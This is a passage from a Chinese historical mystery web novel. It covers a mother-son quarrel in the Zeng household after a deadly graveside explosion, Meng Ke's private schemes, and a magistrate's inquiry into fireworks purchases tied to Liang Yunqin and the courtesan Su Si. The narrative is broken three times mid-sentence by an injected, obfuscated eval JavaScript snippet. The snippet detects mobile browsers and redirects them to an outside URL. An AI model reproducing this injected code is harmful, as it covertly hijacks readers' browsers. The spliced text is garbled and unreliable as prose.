这一日里，没收拾掉素娥的不甘，被孟珂横加阻拦的窝火，被自己儿子偷袭的愤怒，还有当着众多仆人被下了面子的气恼，积攒到此时已然见顶。这多种心绪混杂一处，全然发酵，一股脑地直往她天灵盖上顶。 她指着曾铭，怒不可遏道：“我竟生了你这么个儿子！让人这样欺负你母亲，连屁都不敢放一个！不帮我就算了，你竟还帮着外人，一起欺负我这个孤老婆子！养你，还不如养条狗！” 曾铭看着母亲，冷冷道：“欺负？不让你打死嫂嫂就是欺负？由着你迁怒于人，拿别人的性命泄愤，甚至帮着你打杀人，就是你的好儿子？你生儿子就是做这样的用场？” 他低头苦笑着摇了摇头，重新抬眼看向母亲：“那……的确是不如养条狗。你让咬谁就咬谁。” “嫂嫂？”邵夫人用力啐了一口，“她是你哪门子的嫂嫂？！她跟我曾家有什么关系？早知你是这样没心没肝的种，我当初就不该生了你！若是你哥哥还在……他能让你这样对我？” 一说到老大，邵夫人眼泪就下来了，也顾不上寻丝帕了，抬起袖子就擦。 曾铭指了指坐在灵前的素娥：“若是哥哥还在，能由得你这样对嫂嫂？” 邵夫人哪里管他口中说了什么，到底有没有道理，只自顾自地浑闹。 顺着方才的眼泪，她哭喊起来：“老爷，你现在不在了，立儿也随你去了，那没良心的老二，一翻身成霸王了。连自己生身母亲也不当人了！我还活着做什么，我……我不如一头撞死，跟你们在那头团圆算了！” 曾铭皱眉看她，见她哭着喊着朝柱子挪去，眼角却在看周围人。 周围仆人忙一窝蜂上去拦住了。 见曾铭并没有上去拦她，这招寻死也不为所动，邵夫人也不哭了，扭头恶狠狠地看着他：“怎么死的不是你！” 乍一听这话，曾铭还以为说的是素娥，可抬眼一看，分明是瞪着自己说的。他愣了一瞬，一股寒凉之气陡然自心口而起。 “对，就该你去死，替你哥哥填命。”邵夫人冷笑道，“你若死了，我定要多给你几斗土，把你埋得紧一点！” 曾铭呆立原地，看着自己母亲，嘴角动了动，似乎想笑，眼中却不争气地闪起了泪光。 见这越闹越离谱，曾铭的小厮檀云忙把院里的下人都赶出去了，吩咐不许靠近。 看着曾铭呆立原地的样子，成功报了一箭之仇，邵夫人心里一下就舒爽了，身子都觉得松快不少。 她得意地笑着，转头去看李素娥：“别以为你现在有那卢府的孟小姐当靠山，就腰杆硬了。我这自己生的儿子都还靠不住呢，那外人又是靠得住的？” “你今日索性跟了她去，倒还罢了。可你偏还要死赖在这里，想把我这老婆子也克死，是吧？我倒要看看，咱俩谁先死！” “母亲！”曾铭终于忍不住了，大声喝道。 听自己母亲说出这样的话来，他只觉又羞又惭。 “是，父亲走了，大哥走了，就连小侄儿也……走了。若说这个家里真有人克他们，”他看着邵夫人，凄笑道，“那不是母亲自己，就是我！怎么也赖不到嫂嫂身上。” “你——”邵夫人一口气差点没倒得过来。 曾铭道：“哥哥一家三口在边地的时候，可都是好好的，是回家来才出的事！父亲呢，早在他们回来之前就走了，能关嫂嫂什么事？” “你……”邵夫人颤着手，指着曾铭，“你好得很！你父亲说你牛心牛性，我看你是狼心狗肺！” “母亲，他们真是被人妨克吗？” 曾铭一步步走近邵夫人，“哥哥和小侄儿无辜，可父亲呢？他手下多少冤魂，数得清吗？” “你……你这不孝子，你这是在说你父亲罪有应得，咎由自取吗？” 曾铭嘴角一扯，指着正堂上的匾额，冷笑道：“这曾家的门楣，是多少尸骨累起来的，母亲当真不知？” 邵夫人扭开头去：“你如今真是反了天了，连你父亲也编排上了！” 曾铭在她面前停了步，抓着她的手腕举起来，露出腕上的佛珠，直视着她双眼道：“母亲若是不知，为何日日念佛？” “你也知道这曾府的荣耀下，有多少冤魂吧？你也心中不安，惧怕他们索命吧！你也知道，便是曾家老小的命都填进去，也是九牛一毛，根本不够还的吧！” 邵夫人用力地试图挣开他的手：“你父兄遭难，你不去追凶，不替他们讨回公道，反倒数落起自家的不是来！” 曾铭突地仰头大笑了起来，笑了半晌，无奈又好笑地看着母亲：“是谁做的重要吗？不是这人，便是那人。这是我们欠人家的！人家要取，来取就是了。便是此刻要拿了我的命去，也只管让他们拿去，我没脸说一个不字。” “你……”邵夫人只觉得这个儿子已经疯了，“你在说什么疯话！” “讨公道？”曾铭好笑道，“父亲害死的那些人，就不是别人的儿孙，不是别人的夫君、妻子、父母？他们就该无声无息地乖乖去死，他们的家人就该无怨无尤地接受吗？他们的公道又在哪里？” 邵夫人看着儿子，来回地摇着头，喃喃地重复道：“你疯了，你已经彻底疯了。” 她猛地去挣，曾铭用力地拉。 抓扯之间，腕上的佛珠线断珠落，滚了一地。 邵夫人失声叫了出来，目光顺着滚地的珠子一路看去，被几双脚挡住了。 她顺着脚往上一看，惊了。 来人竟是周冶。 邵夫人心下一慌，方才的话，都让他听见了！ 周冶来回扫了母子二人一遍，先开口道：“今天这……案子，有些事还得问问府上的人。我一路进来，也没看到个下人，只好不经通传就进来了。见二公子跟夫人正在说话，也没好贸然打断。” 曾铭倒不怕他听见什么，整了整神色，欠身作揖道：“府上一时乱了，有失远迎。大人，还请到前厅去坐。” 周冶跟着曾铭走着，心道，这母子二人竟不是一条心。 这二公子显然知道不少事，也不认同父母所为。那他之前的作为，倒未必全为了包庇她了。 *** 熹园的马车刚拐入问月巷，一阵风来，车帘轻快地一掀，就钻了个人进来。 “雨歇！”回雪惊道。 孟珂根本没睡着，立刻睁开眼，见雨歇身上有血迹，忙拉着她上上下下看：“你怎么样，没事吧？” 雨歇是习武之人，便是大伤也不在意，摇摇头道：“一点小伤，没事的。当时炸得太突然，本想扑过去救他们，但没来得及……” 孟珂也不废话：“到底怎么回事？” 雨歇蹙着眉道：“很是奇怪。我早早就在墓地，看着曾家大公子一行人来，看着他燃香烧纸祭拜。等他点起坟头的祭品，我更是错眼不眨地盯着。谁知，坟头的祭品还没点完，我就见墓碑前烧纸的地方闪起了火花……” 当时，躲在树后的她，忙大叫一声“小心”，便飞身扑了出去。 可几乎就在她叫出的瞬间，就炸了。她也被爆炸的气流冲得飞出去，横腰撞到树上，重重地跌落，吐出一口血来。 雨歇道，“爆炸竟引燃了一圈烟火，显然是刻意绕着坟茔埋了一圈，就像……什么刻意庆祝的仪式一样。我们布置的坟头后侧，是最后才被引爆的。” “按小姐的吩咐，我们布置的火药和留的引线都在坟头后侧，火药量严格控制，引线也够长，即便在点燃之后，也有足够的时间，容人退开到安全的地方去。若有万一，我也有上前施救的时间。可谁知……” “那咱们的布置并没问题。”孟珂思忖着道，“你昨夜去布置的时候，可发现什么异常？” 雨歇认真回想了一下，摇头道，“没有。那时才刚开始飞雪，周围我都看了一圈，并无异样。” 孟珂：“那就是在你之后去布置的。” 雨歇突然想起了什么：“对了，曾家仆人在扫雪的时候，都踩陷过。我还以为是积雪的缘故，如今想来，只怕是埋火药和烟火，周围的土都被挖松了的缘故。” 孟珂：“那便是了。那人在后面去，看着雪够大，反正什么都能盖住，根本不怕被发现异常，自然也不必费力去夯实土地。” “他必定是得了曾府内的确切消息，知道今日的祭祀安排，才趁夜而去。” 雨歇低下了头：“我该一直守在那里，确保万无一失的。” “这不怪你。莫说你没想到，我虽怀疑他要提早行事，可也没想到他竟冒着此番暴露，便再难出手的风险，今日就出手。” 雨歇：“终究没办好小姐交代的事。” 孟珂看着雨歇，无奈地叹了口气：“这便是……人算不如天算，非人力可救。咱们本想戳破这个招数，给他们提个醒，终究还是没起作用。一夜大雪，足以将你布置的踪迹掩盖，却也将后面那人的痕迹掩藏起来。曾立父子，合该逃不过这一劫。” 想到当时的场面，雨歇道：“当时，下人都在往车上搬东西，多少都离了些距离，听到我示警，还跑远了几步。虽然还是受伤过重，救不了，但好歹保了个全尸。可怜他们父子……” “这便是命数了。”孟珂看着她道，“你已经尽力了，还为他们受了伤。千万莫再苛责自己。” 雨歇点点头：“我立刻又赶去了青幛镇，可那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999151|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经不在了，家里的火药和烟火消失了大半，院里的牛车也不见了。我又沿着他家到墓地的路，重走了一遍，发现牛车被推下了悬崖，但牛不见了，也没见他尸首。” “他寻常去的几个地方我也走了一遍，也没找见人，只好先回来复命。”雨歇疑惑道，“小姐，你说他是不是已经连夜跑了？” 孟珂摇头：“不，他舍不得走。筹谋了这么久，他一定不舍得错过这场亲手制作的大戏！事发之时，他必定就在哪里观看。这之后的名场面，他也一场都不会错过——哪里最好看，他就在哪里！此刻，想必不是在哪里观赏，就是在哪里品味余韵呢。” “可我怎么没找到……” “你只是处处晚一步，错开罢了。” 孟珂道：“一个将死之人，哪还有逃命的念头？他会选择这惊天一炸，便没给自己留退路，就是想轰轰烈烈一把，然后……就像那烟火，呼啸着升空，绚烂一场，就化作轻烟，散了。” “我现在就去找他。”雨歇说着便要下车。 回雪和孟珂同时拉住了她。 回雪：“你先上药。” 孟珂：“让别人去。你现在的任务，就是歇一歇，养伤。我还有更重要的事给你呢。” 闻此，雨歇才点头：“听小姐的。” 回雪见她们说完了，这才道：“小姐之前说，除掉那些人，只要因势利导、顺水推舟就行。他们必定会再对曾府动手，盯着曾府，就能发现他们的动作，顺藤摸瓜。可如今，小姐既要抓他们破绽，揪出人来，还要保曾府的人，这……是不是太为难自己了。” 孟珂苦笑了笑，无奈地道：“说实话，让我去救曾家的人，我这心里……还真的有点不舒服。可若不救，我知道自己会更不舒服，此事只怕会一直梗在心里……知道自己终究过不了自己这一关，这两个不舒服相权，便只好取其轻了。” 面对这样的自己，她心里也有点恼。为什么她就不能狠一点呢？为什么偏偏让她来救曾怀义家的人？上天为什么要这么为难自己？而自己，又为何要养成这样的性子？ 可她自己何尝不知其中缘故呢？她总会想到父亲的耳提面命，想到母亲时时挂在口中的话…… 儿时，她也曾昂着脖子反唇相讥，大喊不公平，大声宣告自己永远不要吃亏，更不要以怨报德……可真到了这样的当口，她才发现，自己竟然已经长成了父母口中的那样，甚至连自己都无可奈何。 回雪又道：“这不只是为难小姐，这分明还惹祸上身。周大人不就怀疑上咱们了？” 提到周冶，孟珂也只能笑笑。 回雪不解道：“小姐为何不同他解释解释，你们为何不能一起去查、去阻止这事呢？你不是一向说，要把帮手搞得多多的，我看周大人显然也是愿意帮手的。” 孟珂带着孤独又无奈的笑，看着回雪道：“那你说说，我解释多少？” 能说，我要借刀杀人，我要挑拨离间，我要借机让他们内部分崩离析，要一个个把他们撸下来，榨干了价值再扔掉？ “他是个聪明人，闻一便知十。给一点，又不给透，只会给我制造更多麻烦。何况，他毕竟是这一方父母官，有他的立场。有好些事，是不能拉他进来的。” 她不想让他难做。 何况，一旦那样，在很多时候，她就得骗他，糊弄他，最后只会坏了二人原本建立起来的信任和……那些许情谊。只会给他，给自己，制造更多的为难。 真话不能全说，假话也……尽量少说吧。 孟珂吐出一口气，端出个没事的笑，摊摊手道：“他要怀疑，要误会，也……只有如此了。” 回雪：“可我看他今日的样子，对小姐有气恼，有失望，也有担心……” 孟珂心道，自己大概还是退得慢了那么一点点，多多少少牵扯进了些微私人感情。这样不好，不行。 她抿了抿嘴唇，岔开话题道：“算了，不提这些，正事要紧。” 转头又对雨歇道，“安排人盯紧了，适当的时候，也不妨帮他一把，拖上一拖，让他晚一点被抓。” 雨歇：“这是为何？” “他现在最大的价值，是把背后的人吊出来。” “我知道了，”雨歇调皮一笑，做着摸东西的手势，“我们要顺着这根藤，摸出瓜来。” 孟珂笑笑，掀起车帘，看着窗外沉思起来。 只要等到清明，曾家上下都在，他不就能一击得手？届时，他原打算备的火药量也能攒够了。到底发生了什么事，让那人突然做出这个明显不符合原先目标的行动？还得重新捋一捋他这些日子的行动才是。 还有曾铭，他又是怎么回事？他的作为，完全不是他该有的样子…… 55. 苏姒 一查左近的炮坊，核对烟火的制售数目，列出曾大量购买烟火的府邸名录，熹园果然赫然在列。 周冶看着名录，不由凝起了眉。其实，他并不知道熹园买了多少，不过诈一诈孟珂而已。 可如今对着这名录，他此前估计还真没错，除夕那夜燃放的已然不少，可也只占了这买入量的一小半，剩的这一大半如今可还在？ 难道，自己找理由赖住熹园查她，却反被她利用，当了燃放烟火的见证？ 难道，她果然是京城流言中那惯会操弄人心的女子？难道，她的城府之下装的心肠当真歹毒？连自以为见多识广的自己，也被她骗过去了？ 涤砚：“公子，要去熹园查吗？” 周冶吐出一口气，抬手从名录中另指了一个：“先去……梁云钦府上吧。熹园我自有主张。” 说着，便起身要走。 涤砚忙在他身后道：“梁云钦买的不在他府上，在邀月楼呢。” 周冶停步一笑：“原来是博美人一笑。梁云钦这一把年纪了，倒还不耽误醉情风月。” 这种闲话涤砚一向不会接，仍一本正经道：“那邀月楼的苏姒姑娘说想看一场绥陵城最盛大的烟火，梁云钦便给她买了好大一批，从年前一个多月就开始定制，很早就传开了。” “除夕那夜，好多人闻讯而去，早早等在那儿。可才放了没一会儿就停了，说是她前夜受了风，头疼得紧，嫌吵得脑仁疼。” 周冶咦了一声：“你怎么知道这么清楚？” 涤砚笑笑：“还不是洗墨听来的。” 周冶抬了抬眉毛：“还真是个顺风耳。” 到了邀月楼一查问，说剩的烟火都已经拉出城去处理了。 “怎么处理的？” 苏姒笑道：“拉出城去，随便他们点了、扔了、埋了。” 这般浪费银钱本不寻常，但于她苏姒姑娘却是寻常。她可是城中出了名的花钱如流水。初一那日，她在湖上倒酒，也是大家都看在眼里的。 小丫头在旁忙帮着缓和，替姑娘解释道：“大人，原本是堆放着的，偏巧那几日屋顶不知怎么就漏了，一场雨给浇了大半。姑娘嫌放着没用，还占地方，就吩咐人处理了。” 派去处理的正是贾四。再一问，贾四说，他本想找个人少的地方处置，结果遇到个过路客商，说扔了可惜，自己拿去有用，便出钱买走了。他本就是中饱私囊，不敢与那人通名姓，自然也就不知这客商身份。 这下便如泥牛入海，无处可寻了。 哪那么巧就屋漏了打湿了，还那么巧有个神龙见首不见尾的过路客商买走了？ 周冶命人拿了贾四，苏姒倒也没阻拦。 下到牢里，那贾四才又吐了口，说邀月楼人多口杂，自己不敢牵扯出其他人来，否则日后没法混了，也定要被收拾。 他说，的确是有这么个客商，不过，不是过路的，而是梁老爷家杨管家手下的张举安排的，也是他吩咐自己如此说的。至于那人是不是真客商，他就不得而知了。 至于张举，也两日没见人影了，杨管家也在四处寻他。 于是，侍剑带人去把张举家翻了个遍，街坊四邻也都挨着打听查问了一番。 “这张举可有什么亲人？” 房檐下，眯着老花眼做针线活的邻居老婆子摇了摇头：“就他一个。他娘死了七八年了。本来给他讨了个老婆，但他娘一死，家里什么都让他赌光了，气得人带着孩子跑了。跑喽！再也没回来过咯！” 路边包子铺，大哥吧唧着嘴道：“他运气好！他死了的老娘，跟梁会长家的杨管家，好像是一个村里的，算拐了十八道弯的亲戚。这才跟着人跑跑腿，打打杂，混口饭吃，不然……他不是输光裤衩，让人打死，就是早饿死了！” 过路的花白胡子的瘪嘴大爷摇摇手：“没有。哪还有什么亲人，没人可投奔！要有人可投，他娘能一个寡妇辛苦把他拉扯大？我看着他长大的，就没见他家来往什么人。” 巷子里包打听的大娘：“对了！他好像还有个叔，不是亲的，是他那死鬼爹的朋友。早些年，那人时不时给他娘俩送些钱，帮衬他们孤儿寡母，也不露面，应该是不想给他们招惹是非吧。毕竟，这寡妇门前是非多嘛。但好像也好些年没来过了。” 又问回邀月楼的贾四：“对，那叔好像是得了什么病，活不久了。如今只怕都死了。他这人，只有赌友，没有朋友！没事就去赌几把，赢了就拉我喝点小酒。” “对了，最近，黑石堂的人也到处在找他呢。”贾四道，“大人，我看你们也别瞎耽误功夫了。他八成欠了赌债还不上，跑了？” 侍剑：“赌坊没说他欠了多少啊。” 贾四“嗐”了一声：“那真账本能轻易让官爷你看吗？我听说，若欠得多了，收不上来，赌坊另有法子‘收账’呢。那就更不能让你们知道了！” 怎么就那么巧呢？周冶将那幅好久没掀开看过的人物关系图，又翻了出来，琢磨道，梁云钦是她的目标，这事正好就指向了他。而指向他的关键人证张举，还那么巧就失踪了。 对图思索良久，目光最后还是落在了孟珂的名字上。 她这次的态度与之前截然不同，并没有像曾怀义死时那般断然否认。她这样含糊，既不承认，也不否认，难道……真的是她？ *** 得知衙门查到了邀月楼，梁云钦立马赶去，又将相关人等细细问了一遍。 听到张举失踪，客商无处可寻，他心沉到底，跌坐在桌前：“这把火果然烧到了我身上！” 一听说曾家出事，他心里便开始不安，直觉这事八成是孙九爷所为。等听说那刘昆就在现场，他就知道只怕要拉自己进去。果然，他们怎会放过他？ 听他这话音，显然知道什么内情，苏姒惊道：“老爷为何这么说，莫非……莫非老爷知道，这背后之人是谁？” 梁云钦重重地哼了一声：“除了他们，还能有谁！” “只是，他们要做便做了，何苦……何必做得如此惨烈，如此引人注目！生怕人不知道，生怕衙门不盯上吗？”他胸口一股恶气窜起来，左冲右突，猛一拍桌子，“还……还把我拉下水来！” 说着，他蓦地一顿，“对！就是为了把我拖下水！“ 他忙将杨管家叫了来：“你立刻着人去找张举，挖地三尺也要把他找出来。府上、商会里，所有能动的人都派出去！要快！必须赶在孙九爷的人前头找到他——如果……他还活着的话。” 人退下了，事安排下去，梁云钦心里并没有好上一点，反而更忧惧不已。 若张举是让人给收买了，自己还可想办法让他反口。可他若死了，这事就彻底说不清了。可杀人灭口，栽赃陷害，不就是孙九爷惯使的手段吗？他定是看自己打太极，嘴上应着却不行动，便用自己的人，强拉自己下水了。 想到此，梁云钦悬着的心算是死了大半——既如此，那老东西绝不会留张举活口，让他有机会说出什么来。 见梁云钦掐着眉心，一脑门子的官司。苏姒起身去点上舒缓的安神香，又叫小丫头拿了自己特制的药酒来。 她亲自斟上了，递到梁云钦嘴边：“老爷，消消气。便是有天大的事，光坐在这儿着急上火也没用，反坏了身子。” 梁云钦看了她一眼，重重喷出一道胸口恶气，接过酒来，一饮而尽。 酒入愁肠，那四处窜着的恶气竟奇异地随之平复了好些下来。他捏着杯子，惊艳道：“你这酒倒是真好，平日还不觉得，这郁愤之时饮下，才最见其好处。” 苏姒又给他满上：“这可是我家传秘法，用了足足数十种珍奇材料，制作也极其繁琐，别处拿着金子都买不到。制成之后，冬日里埋雪里，喝时取出来，清冽香醇，最是清心。” “哦，还有这些说道，都用了哪些材料？” 苏姒眼珠一转：“老爷也是在医馆当过伙计的？我正好考考你，这里头都有些什么，看你能猜出几种来。” 梁云钦“嗐” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999152|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声：“我那也就是给人跑腿打杂，一不管抓药，二不学看病，就跟着老东西上山下海地采药，三山四海地采买罢了。” “老爷为何不学？当大夫不也是条好出路？” 说起少年穷困潦倒之日，梁云钦叹了口气：“穷人家孩子，当个伙计都得有人引荐。不是个人，谁收徒教你？那可是吃饭的本事，非亲非故不传。再说，郭家那老东西，是个多精明、多能算计的人！” 苏姒道：“老爷是多聪明能干的人！就算人不教，也跟着去了不少地方，见识断非常人可比。老爷见识过哪些奇花异草，奇人异事？也给我讲讲。” 这一番恭维，梁云钦明显有些受用：“那……多少也是偷学了些。我跟你说，要说这最神奇的，还是西南边陲的老山林中的一种花……无色无味，天长日久食用，可让人性情大变。” 苏姒睁大了眼，满脸的惊异：“还有这么神奇的东西！还真是天下之大，无奇不有！” 苏姒再问，他却不肯多说了。 “老爷当年跟的，是城北济世堂的郭家？如今怎么也不见往来了？” “也有。这有事的时候，总还是熟人好办事。”梁云钦把话题转开了去，“我什么都跟你说，可瞧瞧你，连这么个破酒秘方也不肯透露一二。” 苏姒嗔道：“老爷问这么清楚，莫非……怕我给你下毒不成？” 梁云钦嘁了一声：“要说起下毒，寻常人还真不懂。这真正的下毒，下的便不能是毒。要看似无毒，以微末之量，天长日久方见效，让人查也查不出来。” “就是老爷说的这种花吧？”苏姒笑道，见梁云钦脸色，知道自己说中了，又问，“那最好的大夫呢，宫里的御医呢？” “查不出来！”梁云钦摆摆手道，突然反应过来，又让她绕进来了，指着她道，“你啊！” 苏姒细腰一扭，笑道：“人都说了是家传秘法。有我在一日，便短不了你这一口。莫非，老爷要学了去，是想着日后抛下我，也能让其他姑娘为你制不成？” 梁云钦：“看看你，倒吃上醋了。我不过听你这么一说，好奇，随口问问。” “老爷方才也说了，这吃饭的本事，自然是轻易不外传的。我的这点小心思，也不怕对老爷讲。” 苏姒睨了他一眼，叹道，“哪日我年老色衰，老爷你新怀另抱，我被这邀月阁扫地出门，还能开个铺子，当垆卖酒去。好歹，也能讨口饭吃。” 说着，她便伤起心来，仿佛今日已经见弃，明日就要卖酒去了。 “又来了不是！”梁云钦抬起一只手，投降道，“行行行！你就藏着掖着吧！我再也不提了。” *** 苏姒这才转而笑了，笑完又看着梁云钦，一副欲言又止的模样。 梁云钦奇道：“都说不问了，你还有何不悦？” 苏姒一脸忐忑地道：“我是怕老爷不悦。” “我都说不提了，自然不会因此不悦。” “不是这事。”苏姒看着他的脸色，自责道，“要不是我想要什么除夕夜烟火，老爷也不会被牵扯进去了。” 梁云钦苦笑着，将空杯往桌上一放：“跟你有什么关系。人想拉我下水，总能找到机会，不是这事，就是那事。” 不过，这话倒提醒了他，“对啊，你是怎么突然想起要放烟火的？难道……这其中还有缘故？” 苏姒先斟上酒，陪着小心撒娇地道：“我若说了，老爷可不要生气。” 梁云钦耐着性子道：“你直说，我不生气。” “说来，这事跟老爷也有些关系。” 梁云钦更奇怪了。 “我……我就是……想跟人斗气。” “斗气？跟谁斗？”梁云钦一头雾水，突然想到，难道他在春华楼包下的人，让她发现了？ 他疑惑地看向苏姒，却见她讥笑道：“不就是你那个总狗眼看人低的侄女，梁夫人。” 梁云钦的脸顿时僵了僵：“你跟……她斗什么气？” 56. 接戏 苏姒重重地将酒壶往桌上一放：“我就是看不惯她！” “老爷你好歹是她的族叔。虽说不是血亲，好歹也是联了宗，她自家认下的。老爷待她可不薄！” 她越说越气，“以前倒也罢了，她成了孤女之后，好多事不都是老爷你帮着打点的？要不是你，她的家产早不知被什么人抢了，她人也不知被卖到不知什么地方去了。说不定还不如我呢！还轮得到她瞧不起我？” 说到这儿，梁云钦的脸色顿时变得很微妙，低头喝酒，也不搭腔。 “可她呢，一点不感恩老爷也就罢了，仗着嫁入太守府，如此目中无人，生怕沾了你这穷亲戚似的？老爷你一不穷，二也没求她办过什么事，拽什么啊！不是目中无人，就是冷嘲热讽。什么亲长，简直跟仇敌一样。” 内中那些事，梁云钦哪能说，只含糊支应着：“小辈，我同她计较什么？合不来，不来往便是了。” “她若只是看不起我，也就罢了，我就是看不得她这么对老爷！” “好了，好了！越说越发兴头了。女人家，就是喜欢置这些闲气。”梁云钦忙转开话题，“那烟火到底怎么回事？” 苏姒这才想起自己偏移了正题似的，说道：“年前有一日，我去香云楼买胭脂，恰好就碰到了她。听她身边人说，今年要让陈太守在除夕夜给她放一场最最盛大的烟火，好让全城都看看，她是这全绥陵最得宠爱的女人。我这不就……” 这是说者有心，听着不懂其意。梁云钦哭笑不得：“这……算什么事！下头人瞎出主意讨欢心罢了。还值得一斗？” “怎么不值？我就是想把她比下去！恶心她一下，正好替老爷你出口气。”说到这儿，她微微低头，声音也转低了，语带愧悔道，“可万万没想到，竟给您……闯祸了。” 说着，擦了擦眼角，抬起一双我见犹怜的含情泪眼，望着他道，“老爷，说好了不生气的？” 梁云钦苦笑道：“傻子，你是让人给做局了。都知道我宠你，故意在你面前说，好不着痕迹地拉我下水。” 他嘴上说得平淡，目光中却显然露出了恨意，心道，霍茹蕙、孙老九，你们好毒辣的手段！你们去搞大事，却事先铺排好了这出祸水东引。眼见着拉我上贼船失败，就让我来背这口大锅。 苏姒惊得睁大了那双泪眼，一脸不解道：“这梁夫人她……她同孙九爷，怎么会是一伙的？他们一个是官眷，一个是江湖帮派，怎么就扯上关系了？” “这你就不懂了。”他叹道，“这外面的事，复杂着呢。” 苏姒还是疑惑：“她怎么知道我会被激，万一我就没搭理呢？” “人就是算准了你的性子，也算准了我对你的宠爱，必会依你。” “还有那张举，他没准儿就是欠了赌债，拔腿跑了。临走前顺手找个人把烟火卖了，捞点钱，不也挺正常的。老爷怎么就知道是他们干的？” 梁云钦苦笑：“你啊，不知道他们的厉害，也不知道背后缘由。” 苏姒顿了顿，想了想：“可……九爷和老爷，从前不都是为曾大人办事的，看着一向和睦，为何要害老爷？” 梁云钦：“他们……算了，你问这么多干什么，说了你也不明白。” 他已经够烦了。 苏姒这下不高兴了：“老爷自己没说清楚，我能懂才怪了！再说了，这次不就是因为我不明就里，才让他们暗算了去？我得知道哪些人威胁老爷，日后才能留心防范啊！不然，下次又给老爷惹事，可怎么好？” 见苏姒摆出一副我非常非常不高兴的样子。梁云钦放软了些道，“以后再给你慢慢说，你让我先歇会儿。我这头疼得紧，快给我按按。“ “这还差不多。”苏姒笑了，摆着柔软的腰肢坐到榻上，给他按起来。 她按着按着，突然想道：“这样，明日我去给老爷烧一炷高香祈福。听说，城里还来了个云游道人，可准了！我让他给老爷算一卦，驱驱小人。” “行，”梁云钦闭上了眼睛，“你想去，就去吧。” *** 梁云钦闭着眼，脑子里却停不下来，走马灯似的过着近来的种种事端。 曾怀义出事那夜，他惊得手足无措，忙去找孙九爷，可他不在府上，也不在堂里，自己等了大半夜也不见人回，无奈只得走了。 待第二日在曾府碰上，孙九爷见面就语出惊人，开口便道：“大哥这一死，咱俩可怎么办？” 梁云钦一愣，他就不好奇曾怀义到底出了什么事？不过，人都是自私的，死的已经死了，为自己打算也是常理。 他愁道：“咱们能怎么办？上头只认他，咱们便是有心拜菩萨，也连……庙门都不知开在何处。要不，等等看上头意思？” 孙九爷明显不乐意：“等什么？等人来接收你手里的钱，接我手里的人？” 梁云钦道：“不然呢，难道咱俩还能……你是说……” 想了想，他又连连摇头，“不可能！不可能！这曾家还有人呢！哪轮得到咱们。” 孙九爷道：“咱们这些年的辛苦就先不论了，你以为，乖乖把手里这些东西交出去，就能了事？” 梁云钦看着他：“什么意思？” 孙九爷：“我只问你，在外人看来，曾怀义一死，谁得了好处？” “难道是……你我？”梁云钦看看灵堂，手一摊，“这……这不关我们的事啊！” “自古以来，老大死了，老二、老三就是最大的嫌疑。我们怎么证明清白？”孙九爷道，“不管是上头另派人来也好，还是继续用曾家人也罢，都很难相信我们。” 梁云钦听着，好像是这个道理。 “退一步说，就算他们真不怀疑咱们。一朝天子一朝臣，这话总没错吧？换谁来都会安排自己的人，哪还有我们的事？既如此，怎么把我们这不说功劳也有苦劳的人挤出去最好？” 他朝灵堂递了个眼色，“锅往咱们头上一扣，岂不是一石二鸟，一劳永逸！” 看梁云钦一脸心惊又不敢相信的样子，孙九爷压音低声道，“你以为交出手头东西就算完？这事不怀疑咱们就行？咱们知道那么多，而且，谁手上还没点说不清、摆不上台面的事？到时，连这小命也保不住咯！” 梁云钦先还觉得不至于，这时被他说得一激灵，想想，好像还真是难以全身而退。 孙九爷见他听进去了，又退了一步，一脸无奈道：“其实，这也不只是为咱们自己打算。” 他扫了一眼人丛中那一身孝服，忙着迎来送往的曾铭，叹道，“这曾家虽有两个儿子，可认真算起来，一个接班人也没有。老子英雄，可儿却非好汉呀！这曾铭的性子，他爹自己都说了多少次——他干不了脏手的活。至于那曾立？更是个纯纯的武夫！” “他爹是半路上的岸，水上水下功夫都了得！可这兄弟俩走的都是官道，跟咱们本就不是一路人。他们一不会这水下功夫，二也不愿意下水。以后怎么办？就咱俩卖老命？就算咱们不计较，看在死去大哥的份上，上门去认少主，可人没准直接反手把我们给卖了！” 这话看似有理，实则有些不对，可梁云钦此时想的都是自己处境，顾不上去同他挑了。 孙九爷：“再者说，咱们好歹还有家业。金盆洗了手，怎么也够过好好过下半辈子了。可底下弟兄们呢？大家这么多年打下的这基业呢？要让咱们和曾大哥大半辈子的心血都白费了！” 梁云钦：“那……依你看，怎么才好？” 孙九爷眼珠子一转，嘴角笑意带着不易察觉的杀气：“我的意思嘛，反正清白不了，就别清白了。” 又忙找补道，“这么做不光是为了咱们，一则，替兄弟们守住了这份基业，二则，江山本来就是我们一起打的，他当了这么多年老大，也够本了；如今你我接掌，也是理所应当。” “可这要怎么做？” “既入穷巷，不如反扑！” 孙九爷看了看周围，见没人注意，借着袖口一挡，抬手横着一劈，“先下手为强，就别等人来收拾咱们了。” 梁云钦面露迟疑，不安地道：“这……” “当然，咱们也不能贸然行事。这好好的人突然死了，上头总会派人来看看。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 